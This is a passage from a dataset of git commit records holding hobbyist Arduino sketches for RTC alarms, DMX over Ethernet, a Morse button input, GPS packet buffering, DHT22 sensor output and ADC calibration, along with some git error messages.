<Wire.h>\n\n\/\/ Setup clock\nDS3231 myRTC;\n\n\nvoid setup() {\n \/\/ Begin I2C communication\n Wire.begin();\n\n \/\/ Setup alarm one to fire every second\n myRTC.turnOffAlarm(1);\n myRTC.setA1Time(0, 0, 0, 0, 0b01111111, false, false, false);\n myRTC.turnOnAlarm(1);\n myRTC.checkIfAlarm(1);\n\n \/\/ Use builtin LED to blink\n pinMode(LED_BUILTIN, OUTPUT);\n digitalWrite(LED_BUILTIN, HIGH);\n}\n\nvoid loop() {\n \/\/ static variable to keep track of LED on\/off state\n static byte state = false;\n\n \/\/ if alarm went of, do alarm stuff\n \/\/ first call to checkIFAlarm does not clear alarm flag\n if (myRTC.checkIfAlarm(1, false)) {\n state = ~state;\n digitalWrite(LED_BUILTIN, state);\n \/\/ Clear alarm state\n myRTC.checkIfAlarm(1, true);\n }\n\n \/\/ Loop delay to emulate other running code\n delay(10);\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'examples\/AlarmPolling\/AlarmPolling.ino' did not match any file(s) known to git\n","license":"unlicense","lang":"Arduino"} {"commit":"54821a6a8d706517ebd099185d3a45bbfb9fd944","subject":"added two universe example","message":"added two universe example\n\nExample has not been tested\n","repos":"claudeheintz\/LXDMXEthernet_library,claudeheintz\/LXDMXEthernet_library","old_file":"examples\/TwoUniverses\/TwoUniverses.ino","new_file":"examples\/TwoUniverses\/TwoUniverses.ino","new_contents":"\/**************************************************************************\/\n\/*!\n @file 2Universes.ino\n @author Claude Heintz\n @license BSD (see LXDMXEthernet.h)\n @copyright 2015-2016 by Claude Heintz All Rights Reserved\n\n Example using LXDMXEthernet_Library for output of Art-Net or E1.31 sACN from\n EEthernet connection to DMX\n \n Art-Net(TM) Designed by and Copyright Artistic Licence (UK) Ltd\n sACN E 1.31 is a public standard published by the PLASA technical standards program\n \n Note: 2 Universes may excede the memory available on ATmega328 boards\n such as Arduino Uno.\n \n @section HISTORY\n\n v1.00 - First release\n*\/\n\/**************************************************************************\/\n\n#include <Ethernet.h>\n#include <EthernetUDP.h>\n#include <LXDMXEthernet.h>\n#include <LXArtNet.h>\n#include <LXSACN.h>\n\n\/\/ Make choices here about protocol ( set to 1 to activate option )\n\n#define USE_DHCP 0\n#define USE_SACN 0\n\n\/\/ dmx protocol interface for parsing packets (created in setup)\nLXDMXEthernet* interface;\nLXDMXEthernet* interfaceUniverse2;\n\n\/\/ buffer large enough to contain incoming packet\nuint8_t packetBuffer[SACN_BUFFER_MAX];\n\n\/\/*********************** globals ***********************\n\n\/\/ network addresses\n\/\/ IP address is defined assuming that the Arduino is connected to\n\/\/ a Mac without a router and a self assigned ip\nbyte mac[] = { 0x00, 0x08, 0xDC, 0x4C, 0x29, 0x7E }; \/\/00:08:DC Wiznet\nIPAddress ip(169,254,100,100);\nIPAddress gateway(169,254,1,1);\nIPAddress subnet_mask(255,255,0,0);\n\n\/\/ An EthernetUDP instance to let us send and receive packets over UDP\nEthernetUDP eUDP;\n\n\/\/ sACN uses multicast, Art-Net uses broadcast. Both can be set to unicast (use_multicast = 0)\nuint8_t use_multicast = 0;\t\t\/\/only single multicast address is supported in this example, will not work for 2 universes\n\n\n\/\/*********************** setup ***********************\n\nvoid setup() {\n if ( USE_DHCP ) { \/\/ Initialize Ethernet\n Ethernet.begin(mac); \/\/ DHCP\n } else {\n \t\tEthernet.begin(mac, ip, gateway, gateway, subnet_mask); \/\/ Static\n }\n \n if ( USE_SACN ) { \/\/ Initialize Interface (defaults to first universe)\n interface = new LXSACN(&packetBuffer[0]);\n interfaceUniverse2 = new LXSACN(&packetBuffer[0]);\n interfaceUniverse2->setUniverse(2);\t \/\/ for different universe, change this line and the multicast address below\n } else {\n interface = new LXArtNet(Ethernet.localIP(), Ethernet.subnetMask(), &packetBuffer[0]);\n interfaceUniverse2 = new LXArtNet(Ethernet.localIP(), Ethernet.subnetMask(), &packetBuffer[0]);\n ((LXArtNet*)interfaceUniverse2)->setSubnetUniverse(0, 1); \/\/for different subnet\/universe, change this line\n use_multicast = 0;\n }\n\n if ( use_multicast ) { \/\/ Start listening for UDP on port\n eUDP.beginMulticast(IPAddress(239,255,0,1), interface->dmxPort());\n } else {\n eUDP.begin(interface->dmxPort());\n }\n\n \/\/announce presence via Art-Net Poll Reply (only advertises one universe)\n if ( ! USE_DHCP ) {\n ((LXArtNet*)interface)->send_art_poll_reply(eUDP);\n }\n\n}\n\n\/************************************************************************\n\n The main loop checks for and reads packets from UDP socket\n connection. readDMXPacketContents() returns RESULT_DMX_RECEIVED when a DMX packet is received.\n If the first universe does not match, try the second\n\n*************************************************************************\/\n\nvoid loop() {\n uint16_t packetSize = eUDP.parsePacket();\n if ( packetSize ) {\n \t packetSize = eUDP.read(packetBuffer, SACN_BUFFER_MAX);\n\t uint8_t read_result = interface->readDMXPacketContents(eUDP, packetSize);\n\t uint8_t read_result2 = 0;\n\n\t if ( read_result == RESULT_DMX_RECEIVED ) {\n\t \/\/ edge case test universe 1, slot 1\n\t analogWrite(12,2*interface->getSlot(1));\n\t } else if ( read_result == RESULT_NONE ) {\t\t\t\t\/\/ if not good dmx first universe (or art poll), try 2nd\n\t read_result2 = interfaceUniverse2->readDMXPacketContents(eUDP, packetSize);\n\t if ( read_result2 == RESULT_DMX_RECEIVED ) {\n\t \t\t\/\/ edge case test 2nd universe, slot 512\n\t\t \t\tanalogWrite(14,2*interfaceUniverse2->getSlot(512));\n\t }\n\t }\n\t}\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'examples\/TwoUniverses\/TwoUniverses.ino' did not match any file(s) known to git\n","license":"bsd-3-clause","lang":"Arduino"} {"commit":"373d6ee71ffba0eb30cc69d0d95ae02071d9d970","subject":"CambiosBluetooth","message":"CambiosBluetooth\n","repos":"nverdicchio\/soa-2017-bicicleta-inteligente,nverdicchio\/soa-2017-bicicleta-inteligente","old_file":"Arduino\/pocs\/bluetooth-software-serial\/BT_SendReceiveString_readStringFct\/BT_SendReceiveString_readStringFct.ino","new_file":"Arduino\/pocs\/bluetooth-software-serial\/BT_SendReceiveString_readStringFct\/BT_SendReceiveString_readStringFct.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/nverdicchio\/soa-2017-bicicleta-inteligente.git\/'\n","license":"mit","lang":"Arduino"} {"commit":"da5207a4afd5bc3d907a1591e9ebcb00f31f54db","subject":"Initial debounce code working","message":"Initial debounce code working\n","repos":"KEClaytor\/MorseMessenger","old_file":"messenger.ino","new_file":"messenger.ino","new_contents":"\/\/ This is a demonstration on how to use an input device to trigger changes on your neo pixels.\n\/\/ You should wire a momentary push button to connect from ground to a digital IO pin. When you\n\/\/ press the button it will change to a new pixel animation. Note that you need to press the\n\/\/ button once to start the first animation!\n\n#include <Adafruit_NeoPixel.h>\n#include <Bounce2.h>\n\n\/\/ Button debouncing see: https:\/\/blog.adafruit.com\/2009\/10\/20\/example-code-for-multi-button-checker-with-debouncing\/\n#define DEBOUNCE 10 \/\/ button debouncer, how many ms to debounce, 5+ ms is usually plenty\n\n\/\/ Digital IO pin connected to the button. This will be\n\/\/ driven with a pull-up resistor so the switch should\n\/\/ pull the pin to ground momentarily. On a high -> low\n\/\/ transition the button press logic will execute.\n\nBounce bDIT = Bounce();\nBounce bDAH = Bounce();\nBounce bBRK = Bounce();\nBounce bSND = Bounce();\n\n\/\/ Buttons for dit and dah should be self-explanitory\n\/\/ brk is used for character break (one tap) word break (two taps)\n\/\/ or sentence break (three taps).\n#define BUTTON_PIN_DIT 12\n#define BUTTON_PIN_DAH 6\n#define BUTTON_PIN_BRK 9\n#define BUTTON_PIN_SND 10\n\n#define PIXEL_PIN 8 \/\/ Digital IO pin connected to the NeoPixels.\n\nAdafruit_NeoPixel strip = Adafruit_NeoPixel(1, PIXEL_PIN, NEO_GRB + NEO_KHZ800);\n\n\/\/ Arrays for the Morse word and the message\nint morse[6];\nint mi = 0;\nint message[256];\nint msi = 0;\n\nvoid setup() {\n pinMode(BUTTON_PIN_DIT, INPUT_PULLUP);\n pinMode(BUTTON_PIN_DAH, INPUT_PULLUP);\n pinMode(BUTTON_PIN_BRK, INPUT_PULLUP);\n pinMode(BUTTON_PIN_SND, INPUT_PULLUP);\n\n \/\/ After setting up the button, setup the object\n bDIT.attach(BUTTON_PIN_DIT);\n bDIT.interval(DEBOUNCE);\n bDAH.attach(BUTTON_PIN_DAH);\n bDAH.interval(DEBOUNCE);\n bBRK.attach(BUTTON_PIN_BRK);\n bBRK.interval(DEBOUNCE);\n bSND.attach(BUTTON_PIN_SND);\n bSND.interval(DEBOUNCE);\n \n strip.begin();\n strip.show(); \/\/ Initialize all pixels to 'off'\n}\n\nvoid loop() {\n \/\/ Update teh bouncer states\n bDIT.update();\n bDAH.update();\n bBRK.update();\n bSND.update();\n\n if (bDIT.fell()) {\n \/\/morse[mi] = 1;\n \/\/mi++;\n Serial.println(\"dit\");\n } else if (bDAH.fell()) {\n \/\/morse[mi] = 3;\n \/\/mi++;\n Serial.println(\"dah\");\n } else if (bBRK.fell()) {\n Serial.println(\"brk\");\n printMorse();\n clearMorse();\n \/\/if (lastPIN == BUTTON_PIN_BRK) {\n \/\/addCharacter(' ');\n \/\/} else {\n \/\/addCharacter(getMorse());\n \/\/clearMorse();\n \/\/}\n } else if (bSND.fell()) {\n Serial.println(\"snd\");\n \/\/printMessage();\n \/\/clearMessage();\n }\n \n}\n\nvoid clearMorse() {\n for(int ii=0; ii<6; ii++) {\n morse[ii] = 0;\n }\n mi = 0;\n}\n\n\/\/ Convert the morse code to a character\nvoid printMorse() {\n char mm[6];\n for (int mi=0; mi<6; mi++) {\n if (morse[mi] == 1) {\n Serial.print(\".\");\n } else if (morse[mi] == 3) {\n Serial.print(\"-\");\n } else {\n Serial.print(\"x\");\n }\n }\n Serial.println(\"\/\");\n return mm;\n}\n\n\nvoid setColor(int i) {\n switch(i){\n case 0: colorWipe(strip.Color(0, 0, 0), 50); \/\/ Black\/off\n break;\n case 1: colorWipe(strip.Color(255, 0, 0), 50); \/\/ Red\n break;\n case 2: colorWipe(strip.Color(0, 255, 0), 50); \/\/ Green\n break;\n case 3: colorWipe(strip.Color(0, 0, 255), 50); \/\/ Blue\n break;\n case 4: colorWipe(strip.Color(127, 127, 127), 50); \/\/ White\n break;\n }\n}\n\n\/\/ Fill the dots one after the other with a color\nvoid colorWipe(uint32_t c, uint8_t wait) {\n for(uint16_t i=0; i<strip.numPixels(); i++) {\n strip.setPixelColor(i, c);\n strip.show();\n delay(wait);\n }\n}\n\n","old_contents":"","returncode":128,"stderr":"fatal: invalid reference: FETCH_HEAD^\n","license":"mit","lang":"Arduino"} {"commit":"6d9a9020726cbca7c7fa667f2476c05c2973c250","subject":"Update mainscript with include comments","message":"Update mainscript with include comments\n","repos":"onordbo\/mood-cloud,onordbo\/mood-cloud,onordbo\/mood-cloud","old_file":"test_include\/randomLight\/randomLight.ino","new_file":"test_include\/randomLight\/randomLight.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/onordbo\/mood-cloud.git\/'\n","license":"mit","lang":"Arduino"} {"commit":"730981b2c6764c2ab2418ca1ea3952e42ed9be4a","subject":"ok, we better start with a real start signal \u2026","message":"ok, we better start with a real start signal \u2026\n","repos":"trinamic\/T-Bone,trinamic\/T-Bone,trinamic\/T-Bone,trinamic\/T-Bone,trinamic\/T-Bone,trinamic\/T-Bone,trinamic\/T-Bone","old_file":"ArduinoClient\/Motion.ino","new_file":"ArduinoClient\/Motion.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/trinamic\/T-Bone.git\/'\n","license":"agpl-3.0","lang":"Arduino"} {"commit":"ffa3a526be30bee30f3f00b6c5b040e4da9b515f","subject":"Double buffering for GPS (not working)","message":"Double buffering for GPS (not working)\n","repos":"AdlerFarHorizons\/Transceiver,AdlerFarHorizons\/Transceiver","old_file":"scratchpad\/XTendPayload_w_buffer\/XTendPayload_w_buffer.ino","new_file":"scratchpad\/XTendPayload_w_buffer\/XTendPayload_w_buffer.ino","new_contents":"\/*\n * \n * \n * GPS serial input on pin 8 (for AltSoftSerial) delivers RMC\n * sentence only every second at 4800 baud.\n * \n * Payload (controller) transmits packet on MsTimer2 interrupt\n * and establishes time slot 0 for all Ground units (peripherals)\n *\/\n\n#include <AltSoftSerial.h>\n#include <MsTimer2.h>\n\/\/ LN - Adding stuff for a GPS connected to soft serial port\nAltSoftSerial altSerial; \/\/ TX Pin 9, RX Pin 8\nbyte pktBuffer[200];\nbyte pktLastByte;\nboolean sentencePending, sentenceRdy, sentenceCpy;\nboolean txFlag;\nchar sentenceBuf[100];\nchar sentence[100];\nString gpsTime, gpsDate, gpsLat, gpsLon, gpsAlt, gspVgnd, gpsHdng;\nint sentenceBufIndex, sentenceCpyIndex;\n\nString output = \"hello\";\nint numb = 0;\n\n\/\/const int pin2 = 2;\n\nvoid setup(){\n Serial.begin(9600);\n \n altSerial.begin( 9600 ); \n sentencePending = false;\n sentenceRdy = false;\n sentenceCpy = false;\n sentenceBuf[0] = 0;\n sentenceBufIndex = 0;\n MsTimer2::set(5000, transmit);\n MsTimer2::start();\n}\n\nvoid loop(){\n \/\/Serial.println(output+\" \"+numb);\n \/\/numb++;\n \/\/delay(1000);\n if ( txFlag ) {\n buildPacket();\n sendPacket();\n numb++;\n txFlag = false; \n }\n checkRcv();\n getCharGPS();\n if ( sentenceRdy ) {\n \/\/ Make working copy of fresh GPS sentence\n int i = 0;\n while( sentenceBuf[i] != 0 ) {\n sentence[i] = sentenceBuf[i];\n i++;\n }\n sentenceRdy = false;\n }\n}\n\nvoid getCharGPS() {\n \n char c;\n if ( altSerial.available() ) {\n c = altSerial.read();\n if ( !sentenceRdy ) {\n if ( c == 36 ) {\n sentenceBufIndex = 0;\n sentencePending = true;\n }\n if ( sentencePending && c == 10 ) {\n sentenceRdy = true;\n sentencePending = false;\n c = 0;\n }\n sentenceBuf[sentenceBufIndex] = c;\n sentenceBufIndex++;\n }\n }\n}\n\nvoid buildPacket() {\n byte check = 0x00;\n byte temp;\n int i = -1;\n temp = (byte)( ( numb >> 8 ) & 0x00FF );\n pktBuffer[i++] = temp;\n check ^= temp;\n temp = (byte)( numb & 0x00FF );\n pktBuffer[i++] = temp;\n check ^= temp;\n int j = 6;\n while ( ( temp = (byte)sentence[j++] ) != '*' ) {\n pktBuffer[i++] = temp;\n check ^= temp;\n }\n pktBuffer[i++] = check;\n pktLastByte = i; \n}\n\nvoid sendPacket() {\n for ( int i = 0 ; i < pktLastByte ; i++ ) {\n Serial.write( (char)pktBuffer[ i ] );\n }\n Serial.write( 10 );\n \n}\n\nvoid checkRcv() {\n byte check = 0xFF;\n byte temp = 0;\n int j = -1;\n while ( Serial.available() ) {\n check ^= temp;\n temp = Serial.read();\n pktBuffer[j++] = temp;\n }\n pktLastByte = j;\n isRcvd = ( pktLastByte >= 0 ); \n}\n\nvoid transmit() {\n txFlag = true;\n}\n\nbyte checksum( byte* buf, int bufSize ) {\n \n byte check = 0x00;\n for ( int i = 0 ; i < bufSize ; i++ ) {\n check ^= *(buf + i);\n }\n return check;\n}\n\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'scratchpad\/XTendPayload_w_buffer\/XTendPayload_w_buffer.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"69a268e1cef15ed940c5c89b8cf9197e7bbe1e32","subject":"Enviar datos del DHT22 a Python","message":"Enviar datos del DHT22 a Python\n","repos":"MrChunckuee\/STELLARIS-ENERGIA_Examples,MrChunckuee\/STELLARIS-ENERGIA_Examples","old_file":"LM4F_E011\/LM4F_E011.ino","new_file":"LM4F_E011\/LM4F_E011.ino","new_contents":"\/*******************************************************************************\n *\n * Enviar datos del DHT22 a trav\u00e9s del puerto serie a Python \n *\n *******************************************************************************\n * FileName: LM4F_E011.ino\n * Processor: EX-LM4F120XL\n * Complier: Energia 1.6.10E18\n * Author: Pedro S\u00e1nchez (MrChunckuee)\n * Blog: http:\/\/mrchunckuee.blogspot.com\/\n * Email: mrchunckuee.psr@gmail.com\n * Description: Este ejemplo se basa en la libreria de Adafruit para el \n * sensor de temperatura y humedad DHT22, cuando sepulsa SW1\n * envia los datos a Python y realiza un blink en el \n * LED Azul, si se vuelve a pulsar SW1 el envio se detiene. \n *******************************************************************************\n * Rev. Date Comment\n * v0.0.0 31\/07\/2019 Creaci\u00f3n del firmware\n ******************************************************************************\/\n\n#include \"DHT.h\"\n\n#define DHTPIN PB_5 \/\/ what digital pin we're connected to\n#define DHTTYPE DHT22 \/\/ DHT 22 (AM2302), AM2321\n\nDHT dht(DHTPIN, DHTTYPE);\n\nconst int pinButton = PUSH1;\nconst int pinLed = BLUE_LED;\n\n\/\/ Variables will change:\nint ledState = LOW; \/\/ ledState used to set the LED\nlong previousMillis = 0; \/\/ will store last time LED was updated\nlong interval = 1500; \/\/ interval at which to blink (milliseconds)\nint buttonState = 0;\nint buttonTicks = 0;\nint currentButtonState = 0;\nint lastButtonState= 0;\nint buttonFlag = LOW;\n\nvoid setup() {\n pinMode(pinButton, INPUT_PULLUP);\n pinMode(pinLed, OUTPUT); \n Serial.begin(9600);\n dht.begin();\n delay(3000);\n}\n\nvoid loop(){\n GetInput();\n if(buttonFlag == HIGH){\n unsigned long currentMillis = millis();\n \n if(currentMillis - previousMillis > interval) {\n \/\/ save the last time you blinked the LED \n previousMillis = currentMillis; \n \n \/\/ if the LED is off turn it on and vice-versa:\n if (ledState == LOW){\n ledState = HIGH;\n\n \/\/Se lee temperatura y humedad\n float h = dht.readHumidity();\n float t = dht.readTemperature();\n Serial.print(\"Humedad: \");\n Serial.print(h);\n Serial.print(\" % \");\n Serial.print(\" Temperatura: \");\n Serial.print(t);\n Serial.println(\" *C\");\n }\n else\n ledState = LOW;\n\n \/\/ set the LED with the ledState of the variable:\n digitalWrite(pinLed, ledState);\n }\n }\n}\n\nvoid GetInput(void){\n \/\/ Push Button debounce\n if (buttonState != digitalRead(pinButton)){\n if (buttonTicks > 20){\n buttonState = digitalRead(pinButton);\n buttonTicks = 0;\n }\n else buttonTicks++;\n }\n else buttonTicks = 0;\n \/\/ Process the push button\n currentButtonState = buttonState;\n if (currentButtonState == 0 && lastButtonState == 1){\n \n if (buttonFlag == LOW){\n buttonFlag = HIGH;\n Serial.println(\"Enviando datos cada 3 segundos!!\");\n }\n else{\n buttonFlag = LOW;\n digitalWrite(pinLed, LOW);\n Serial.println(\"Se detuvo el envio de datos!!\");\n Serial.println(\" \");\n }\n }\n lastButtonState = currentButtonState; \n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'LM4F_E011\/LM4F_E011.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"b726ebbb63df7d5108d84dae077d1a3ef46b9e1c","subject":"Create CalVref.ino","message":"Create CalVref.ino\n\nUsed to obtain the READVCC_CALIBRATION_CONST for EmonLib.h","repos":"pieman64\/ESPproMon","old_file":"OpenEnergyMonitor\/ArduinoShield\/CalVref.ino","new_file":"OpenEnergyMonitor\/ArduinoShield\/CalVref.ino","new_contents":" \/*\n CalVref.ino from https:\/\/github.com\/openenergymonitor\/emontx2\/blob\/master\/firmware\/CalVref\/CalVref.ino\n \n A test sketch to allow the internal 1.1 V reference to be accurately calibrated.\n \n The internal reference in the AVR is nominally 1.1 V, within the range 1.0 - 1.2 V. This represents more than 9% uncertainty that is\n reflected in the measurement of Vcc in the standard emonLib library method. This directly affects the battery voltage measurement\n when the emonTx is battery powered, it also is reflected in the calibration of the voltage and current sensors.\n \n If the constant is changed in readVcc( ) , the voltage and current sensors must be recalibrated. \n \n The theoretical constant, i.e. 1.1 V in mV times 1024 is 1126400\n The normal range should be 1024000 - 1228800\n \n Part of the openenergymonitor.org project \n Licence: GNU GPL V3\n \n Authors: Glyn Hudson, Trystan Lea\n Builds upon JeeLabs RF12 library and Arduino\n Credit to http:\/\/hacking.majenko.co.uk\/making-accurate-adc-readings-on-arduino\n and J\ufffdr\ufffdme who alerted us to http:\/\/provideyourown.com\/2012\/secret-arduino-voltmeter-measure-battery-voltage\/\n Adapted from the above by Robert Wall.\n \n (And J\ufffdr\ufffdme's name generates a \"unrecognized characters\" compiler warning - ignore it.)\n*\/\n\n\n\n#if defined(ARDUINO) && ARDUINO >= 100\n\n#include \"Arduino.h\"\n\n#else\n\n#include \"WProgram.h\"\n\n#endif\n\nbool done = false;\n\nvoid setup() \n{\n Serial.begin(9600);\n while (!Serial) {} \/\/ wait for serial port to connect. Needed for Leonardo only\n for (int i=0; i<7; i++,delay(1000))\n Serial.print(\".\");\n Serial.println(\"\\nemonTX Internal Voltage Calibration\"); \n Serial.println(\"OpenEnergyMonitor.org\");\n\n Serial.println(\"\\nInstructions:\\nMeasure the 3.3 V supply with your multimeter at the + and - \\\"Batt\\\" pads and enter now the voltage you measure.\\n(You can repeat this as often as you wish.)\");\n\n\n}\n\nvoid loop() \n{ \n char inbuf[10];\n char nChar;\n float Vs;\n long Vref;\n long RefConstant;\n \n done = false;\n while (!done) {\n nChar = Serial.available();\n if (nChar > 0) \n {\n done = true; \n for (int i = 0; i < 10; i++) \n {\n inbuf[i] = 0;\n }\n Serial.readBytes(inbuf, nChar); \n Vs = atof(inbuf);\n Serial.print(\"You measured \");\n Serial.print(Vs);\n Vref = readVcc();\n Serial.print(\" V.\\nThat means your internal reference is \");\n Serial.print(Vref);\n Serial.print(\" counts or \");\n Serial.print(Vs \/ 1024.0 * Vref,3);\n Serial.print(\" V if measured with your meter.\");\n RefConstant = (long)(Vs * Vref * 1000);\n Serial.print(\"\\nThe constant for that is \");\n Serial.print(RefConstant);\n Serial.print(\"L\\nUsing that in \\\"readVcc( )\\\", it will return \");\n Serial.print(RefConstant \/ Vref);\n Serial.print(\" mV.\");\n if (RefConstant \/ Vref != Vs * 1000)\n Serial.print(\" The difference is due to integer rounding.\");\n \n if (RefConstant > 1228800L || RefConstant < 1024000)\n Serial.print(\"\\nThe normal range should be 1024000L - 1228800L\");\n Serial.println(\"\\n\");\n }\n \n else\n delay(100);\n }\n \n\n}\n\n\nlong readVcc(void) {\n\/\/ Not quite the same as the emonLib version\n long result;\n\n #if defined(__AVR_ATmega168__) || defined(__AVR_ATmega328__) || defined (__AVR_ATmega328P__)\n ADMUX = _BV(REFS0) | _BV(MUX3) | _BV(MUX2) | _BV(MUX1); \n #elif defined(__AVR_ATmega32U4__) || defined(__AVR_ATmega1280__) || defined(__AVR_ATmega2560__)\n ADMUX = _BV(REFS0) | _BV(MUX4) | _BV(MUX3) | _BV(MUX2) | _BV(MUX1);\n ADCSRB &= ~_BV(MUX5); \/\/ Without this the function always returns -1 on the ATmega2560 http:\/\/openenergymonitor.org\/emon\/node\/2253#comment-11432\n #elif defined (__AVR_ATtiny24__) || defined(__AVR_ATtiny44__) || defined(__AVR_ATtiny84__)\n ADMUX = _BV(MUX5) | _BV(MUX0);\n #elif defined (__AVR_ATtiny25__) || defined(__AVR_ATtiny45__) || defined(__AVR_ATtiny85__)\n ADMUX = _BV(MUX3) | _BV(MUX2);\n #endif\n\n delay(2); \/\/ Wait for Vref to settle\n ADCSRA |= _BV(ADSC); \/\/ Convert\n while (bit_is_set(ADCSRA,ADSC));\n result = ADCL;\n result |= ADCH<<8;\n \/\/ return the raw count - that's more useful here\n return result;\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'OpenEnergyMonitor\/ArduinoShield\/CalVref.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"08bcbe99f34aeba028cc49d481f81b583e066498","subject":"Arduino: RX\/TX one byte","message":"Arduino: RX\/TX one byte\n","repos":"lyriarte\/dummycomm","old_file":"dummycomm.ino","new_file":"dummycomm.ino","new_contents":"\/*** 4-ticks transmission frames\n* carrier : 1000\n* zero: 1100\n* one: 1110\n*\/\n\n#define LED 13\n#define BTX 0\n#define BRX 1\n#define CARRIER 2\n#define ERROR -1\n\nint sleepms = 20;\nint bytebits[8];\n\nvoid setup() {\n\tpinMode(LED, OUTPUT);\n\tpinMode(BTX, OUTPUT);\n\tpinMode(BRX, INPUT);\n}\n\nint readFrame(int cyclecount0, int cyclecount1)\n{\n\tif (cyclecount0 < cyclecount1) {\n\t\tif (cyclecount1 < 2 * cyclecount0)\n\t\t\treturn 0; \/\/ c0 < c1 < 2.c0 : 1100\n\t\treturn 1; \/\/ 2.c0 < c1 : 1110\n\t} else {\n\t\tif (cyclecount0 < 2 * cyclecount1)\n\t\t\treturn 0; \/\/ c1 < c0 < 2.c1 : 1100\n\t\treturn CARRIER; \/\/ 2.c1 < c0 : 1000\n\t}\n\treturn ERROR; \/\/ never reach\n}\n\nint getFrame(int pin)\n{\n\tint cyclecount1=0;\n\tint cyclecount0=0;\n\twhile (digitalRead(pin) == HIGH) {\n\t\tcyclecount1 = cyclecount1 + 1;\n\t}\n\twhile (digitalRead(pin) == LOW) {\n\t\tcyclecount0 = cyclecount0 + 1;\n\t}\n\treturn readFrame(cyclecount0, cyclecount1);\n}\n\nvoid sendCarrier(int pin, int sleepms)\n{\n\tdigitalWrite(pin, HIGH);\n\tdelay(sleepms);\n\tdigitalWrite(pin, LOW);\n\tdelay(3 * sleepms);\t\n}\n\nvoid send0(int pin, int sleepms)\n{\n\tdigitalWrite(pin, HIGH);\n\tdelay(2 * sleepms);\n\tdigitalWrite(pin, LOW);\n\tdelay(2 * sleepms);\t\n}\n\nvoid send1(int pin, int sleepms)\n{\n\tdigitalWrite(pin, HIGH);\n\tdelay(3 * sleepms);\n\tdigitalWrite(pin, LOW);\n\tdelay(sleepms);\t\n}\n\nvoid loop() {\n\tint frame,i;\n\tdigitalWrite(LED, HIGH);\n\tdigitalWrite(BTX, LOW);\n\ti=8;\n\twhile (i) {\n\t\twhile((frame = getFrame(BRX)) == CARRIER) {\n\t\t\ti=8;\n\t\t}\n\t\tbytebits[--i] = frame;\n\t}\n\tdigitalWrite(LED, LOW);\n\tfor(i=0; i<32; i++) {\n\t\tsendCarrier(BTX, sleepms);\n\t}\n\ti=8;\n\twhile (i) {\n\t\tif (bytebits[--i])\n\t\t\tsend1(BTX, sleepms);\n\t\telse\n\t\t\tsend0(BTX, sleepms);\n\t}\n\tsendCarrier(BTX, sleepms);\n\tsendCarrier(BTX, sleepms);\n}\n\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'dummycomm.ino' did not match any file(s) known to git\n","license":"bsd-2-clause","lang":"Arduino"} {"commit":"b0b258155d7c157bbbdbc7c320555f8d5f281da6","subject":"ADC\u30b5\u30f3\u30d7\u30eb\u8ffd\u52a0(\u305f\u3060\u305736\u306e\u65b9\u304c\u9ad8\u6a5f\u80fd)","message":"ADC\u30b5\u30f3\u30d7\u30eb\u8ffd\u52a0(\u305f\u3060\u305736\u306e\u65b9\u304c\u9ad8\u6a5f\u80fd)\n","repos":"bokunimowakaru\/esp,bokunimowakaru\/esp,bokunimowakaru\/esp,bokunimowakaru\/esp,bokunimowakaru\/esp,bokunimowakaru\/esp","old_file":"2_example\/example35_adc\/example35_adc.ino","new_file":"2_example\/example35_adc\/example35_adc.ino","new_contents":"\/*******************************************************************************\r\nExample 35(=32+3: \u30a2\u30ca\u30ed\u30b0\u5165\u529b\u5024\u3092\u9001\u4fe1\u3059\u308b\r\n Copyright (c) 2016 Wataru KUNINO\r\n*******************************************************************************\/\r\n\r\n#include <WiFi.h> \/\/ ESP32\u7528WiFi\u30e9\u30a4\u30d6\u30e9\u30ea\r\n#include <WiFiUdp.h> \/\/ UDP\u901a\u4fe1\u3092\u884c\u3046\u30e9\u30a4\u30d6\u30e9\u30ea\r\n#define PIN_AIN 34 \/\/ GPIO 34 ADC1_CH6(6\u756a\u30d4\u30f3)\u3092ADC\u306b\r\n#define SSID \"1234ABCD\" \/\/ \u7121\u7ddaLAN\u30a2\u30af\u30bb\u30b9\u30dd\u30a4\u30f3\u30c8\u306eSSID\r\n#define PASS \"password\" \/\/ \u30d1\u30b9\u30ef\u30fc\u30c9\r\n#define SENDTO \"192.168.0.255\" \/\/ \u9001\u4fe1\u5148\u306eIP\u30a2\u30c9\u30ec\u30b9\r\n#define PORT 1024 \/\/ \u9001\u4fe1\u306e\u30dd\u30fc\u30c8\u756a\u53f7\r\n\r\nvoid setup(){ \/\/ \u8d77\u52d5\u6642\u306b\u4e00\u5ea6\u3060\u3051\u5b9f\u884c\u3059\u308b\u95a2\u6570\r\n pinMode(PIN_AIN,INPUT); \/\/ \u30a2\u30ca\u30ed\u30b0\u5165\u529b\u7aef\u5b50\u306e\u8a2d\u5b9a\r\n Serial.begin(115200); \/\/ \u52d5\u4f5c\u78ba\u8a8d\u306e\u305f\u3081\u306e\u30b7\u30ea\u30a2\u30eb\u51fa\u529b\u958b\u59cb\r\n Serial.println(\"ESP32 eg.03 ADC\"); \/\/ \u300cExample 03\u300d\u3092\u30b7\u30ea\u30a2\u30eb\u51fa\u529b\u8868\u793a\r\n WiFi.mode(WIFI_STA); \/\/ 